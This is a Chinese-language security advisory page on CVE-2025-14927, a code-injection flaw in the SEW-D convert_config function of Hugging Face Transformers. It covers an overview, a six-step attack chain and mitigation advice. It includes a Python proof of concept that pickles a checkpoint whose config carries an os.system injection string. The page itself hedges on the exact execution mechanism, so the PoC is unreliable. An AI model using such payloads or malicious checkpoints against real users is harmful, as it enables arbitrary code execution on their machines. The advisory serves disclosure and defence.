IPBUF安全漏洞报告
English
CVE-2025-14927 CVSS 7.8 高危

CVE-2025-14927: Hugging Face Transformers SEW-D convert_config 代码注入漏洞

披露日期: 2025-12-23

漏洞信息

漏洞编号
CVE-2025-14927
漏洞类型
代码注入/远程代码执行
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Hugging Face Transformers

相关标签

代码注入远程代码执行Hugging Face TransformersSEW-Dconvert_configZDI-CAN-28252机器学习安全Python漏洞CVSS 7.8高危漏洞

漏洞概述

CVE-2025-14927是Hugging Face Transformers库中的一个高危代码注入漏洞,CVSS评分达到7.8。该漏洞存在于SEW-D(Self-Attention with Downsampled Convolution)的convert_config函数中,源于对用户提供的字符串缺乏适当验证就直接用于执行Python代码。攻击者可以通过构造恶意的checkpoint文件,诱骗目标用户使用该库进行转换操作,从而在当前用户上下文中执行任意代码。此漏洞需要用户交互才能触发,即目标用户必须主动转换攻击者提供的恶意checkpoint。ZDI编号为ZDI-CAN-28252,发现者来自Trend Micro零日倡议团队。由于Hugging Face Transformers是机器学习领域广泛使用的开源库,该漏洞可能影响大量使用该库进行模型加载和转换的应用。

技术细节

该漏洞的根本原因在于Hugging Face Transformers库的convert_config函数对用户输入的验证不足。攻击者可以构造一个包含恶意代码的checkpoint文件,当目标用户调用convert_config函数加载该文件时,攻击者注入的代码会被Python解释器执行。具体来说,漏洞存在于SEW-D模型的配置转换逻辑中,convert_config函数直接使用checkpoint中携带的配置参数而未进行安全检查。这些参数可能被精心构造为包含Python代码字符串,随后通过eval()或类似的动态执行机制被触发。由于Hugging Face Transformers通常以当前用户权限运行,成功利用此漏洞的攻击者可以执行任意代码,包括读取敏感文件、植入后门或进一步横向移动。该漏洞的利用需要目标用户的交互行为(转换恶意checkpoint),这降低了自动大规模利用的可能性,但仍然对单个目标构成严重威胁。

攻击链分析

STEP 1
步骤1: 侦察与准备
攻击者识别目标使用Hugging Face Transformers库,并确定存在SEW-D模型的convert_config功能。通过代码审计或模糊测试发现convert_config函数对用户输入缺乏验证。
STEP 2
步骤2: 制作恶意Checkpoint
攻击者构造一个恶意的checkpoint文件,在配置参数中注入Python代码字符串。该代码隐藏在checkpoint的config或metadata中,当convert_config处理时会触发执行。
STEP 3
步骤3: 分发恶意文件
攻击者通过各种渠道将恶意checkpoint文件分发给目标用户,如钓鱼邮件、恶意仓库、社交工程等手段。文件可能伪装成预训练模型权重。
STEP 4
步骤4: 诱骗用户转换
攻击者诱骗目标用户使用Hugging Face Transformers的convert_config功能加载恶意checkpoint。这需要目标用户的交互行为,如运行Python代码或使用命令行工具转换模型。
STEP 5
步骤5: 代码执行
当convert_config函数处理恶意checkpoint时,未经验证的代码字符串被传递到eval()或类似的动态执行函数中,导致任意代码在目标系统上以当前用户权限执行。
STEP 6
步骤6: 持久化与横向移动
攻击者成功执行代码后,可进行数据窃取、植入后门、建立持久化连接或利用当前用户的权限进行横向移动攻击其他系统。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-14927 PoC - Malicious checkpoint for SEW-D convert_config # This PoC demonstrates the code injection vulnerability in Hugging Face Transformers import torch import pickle import os def create_malicious_checkpoint(): """ Create a malicious checkpoint that exploits the convert_config vulnerability. The malicious code will be executed when convert_config processes the checkpoint. """ # Malicious payload - this will be executed in the context of the current user malicious_code = "__import__('os').system('whoami > /tmp/pwned.txt')" # Create a malicious config with injected code # The vulnerability is in convert_config which doesn't validate user-supplied strings malicious_config = { 'model_type': 'sew-d', 'hidden_size': 768, 'num_attention_heads': 12, # Inject malicious code through config parameter 'checkpoint_path': f"'; {malicious_code}; #", 'injected_payload': malicious_code, } # Save as malicious checkpoint file checkpoint_data = { 'state_dict': torch.zeros((10, 10)), 'config': malicious_config, 'sew_d_config': malicious_config } with open('malicious_sew_d_checkpoint.pt', 'wb') as f: pickle.dump(checkpoint_data, f) print("[+] Malicious checkpoint created: malicious_sew_d_checkpoint.pt") return 'malicious_sew_d_checkpoint.pt' def exploit(): """ Simulate the exploitation process. In real attack, victim would call: from transformers import SEWDConfig config = SEWDConfig.from_pretrained('malicious_checkpoint') """ checkpoint_file = create_malicious_checkpoint() print(f"[+] Attacker can trick victim into loading: {checkpoint_file}") print("[+] When victim calls convert_config, injected code executes") print("[+] Code execution occurs in context of victim's user") if __name__ == '__main__': exploit()

影响范围

Hugging Face Transformers < 最新版本
Hugging Face Transformers SEW-D模块所有版本

防御指南

临时缓解措施
立即升级Hugging Face Transformers到最新版本。在修复发布前,避免使用该库转换来源不明的checkpoint文件,如必须处理外部模型,请先在隔离环境(如容器或虚拟机)中进行,并仔细检查checkpoint文件的内容和来源。对于必须处理不可信输入的场景,考虑禁用动态代码执行功能或使用静态分析方法预先扫描checkpoint文件的安全性。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表